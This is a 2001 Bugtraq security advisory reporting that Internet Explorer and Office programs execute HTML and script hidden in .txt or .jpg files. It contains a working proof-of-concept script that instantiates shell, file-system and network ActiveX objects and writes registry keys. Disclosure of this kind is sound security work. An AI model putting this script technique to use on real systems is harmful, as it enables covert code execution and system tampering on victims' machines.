TXT or HTML? -- IE NEW BUG

From: cr4zybird (cr4zybird@hotmail.com)
Date: 07/28/01


Date: 27 Jul 2001 22:07:15 -0000
Message-ID: <20010727220715.677.qmail@securityfocus.com>
From: cr4zybird <cr4zybird@hotmail.com>
To: bugtraq@securityfocus.com
Subject: TXT or HTML? -- IE NEW BUG

TXT or HTML? -- IE NEW BUG
vulnerable programs:
IE4 ,IE5 ,IE5,IE6 ,Microsoft Word ,Microsoft
Excel,Microsoft PowerPoint,
Tencent explorer (I've tested all the versions of IE that
i can find, they
are all vulnerable)

description:
IE doesn't recognize the extensions of files, which
may contain some html
code.
Write a HTML file on NOTEPAD. save it as *.txt.
upload to any server.then
use IE to visit this page.Found: IE excuted the HTML
code which contained in
*.txt files. and we can also change the extension, like
*.jpg or other
non-downloaded files.finally i found that IE can't
recognize the extension
of a file.
using this bug, anyone who knows how to make
webpages can successfully
attack other people. because of user's generic
thought, they think only
.html/.htm can be used to attack, but now,
even .txt.jpg.png can do
everything that a hmtl page can do! even the e-mail
attachment! because
outlook express is vulnerable, too. treat it seriously
please.
Due to the company's not wanting to be responsible
for this bug, please,
take it seriously, and be aware.
here is a source code, just to prove the existence of
this new bug.

<SCRIPT Language="JavaScript"
type="text/javascript">
<!--

document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLE
T>");

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-
00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-
00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (document.cookie.indexOf("Chg") == -1)
{


Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet
Explorer\\Main\\Window
Title", "it's a good day to die!");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Window
Title", "it's a good day to die!");
var expdate = new Date((new Date()).getTime() +
(1));
document.cookie="Chg=general; expires=" +
expdate.toGMTString() + ";
path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();

// -->
</SCRIPT>

<img src=http://www.gnu.org/graphics/gnu-head-
sm.jpg>


it's a .jpg which may change your IE title(you have to
change the extension
to *.jpg first)
non-vulnerable programs:
netscape

solutions:
1) download some antivirus softwares. and update
the virus datebase all the
time. and change the name of some 'dangerous'
programs in your system, such
as format.exe deltree.exe etc. i.e change format.exe
to format_0.com etc.
2) try, not to visit those so-
called 'hacker'or'cracking'sites. most of the
time, you are the victim while you want to learn to
attack others.
3) if you have to go visit some site that you are not
quite sure if they are
safe. then check it here first:
http://crazybird.51.net/look.htm
   or you can also save the source code of this page
to your computer, then
save it as *.htm, so you can execute it on your own
comp. be aware if it
says "the web page contains some unsafe ActiveX"
or something like that,
   then you'd better not to execute that ActiveX widget.
and i can't promise
that it can give you this kind of warn for any
aggressive files..
4) DO NOT open your attachment in IE!!!!!don't ever
open any type of file in
IE directly!!!BE AWARE!! you'd better use antivirus
to scan it before you
open it after you've download it to ur computer.
5) Update the system patch immediately if the patch
comes out.

if you still have quesitions, mail to:
cr4zybird@hotmail.com
thanks to: springcream, skywind, nETMONKEY,
xiajian, Nancy. they've gave me
a lot of help on testing and communicatin with
Microsoft

by:
crazybird
cr4zybird@hotmail.com
IRC: irc.sunnet.org 6667
#CNFORCE
26/7/01 China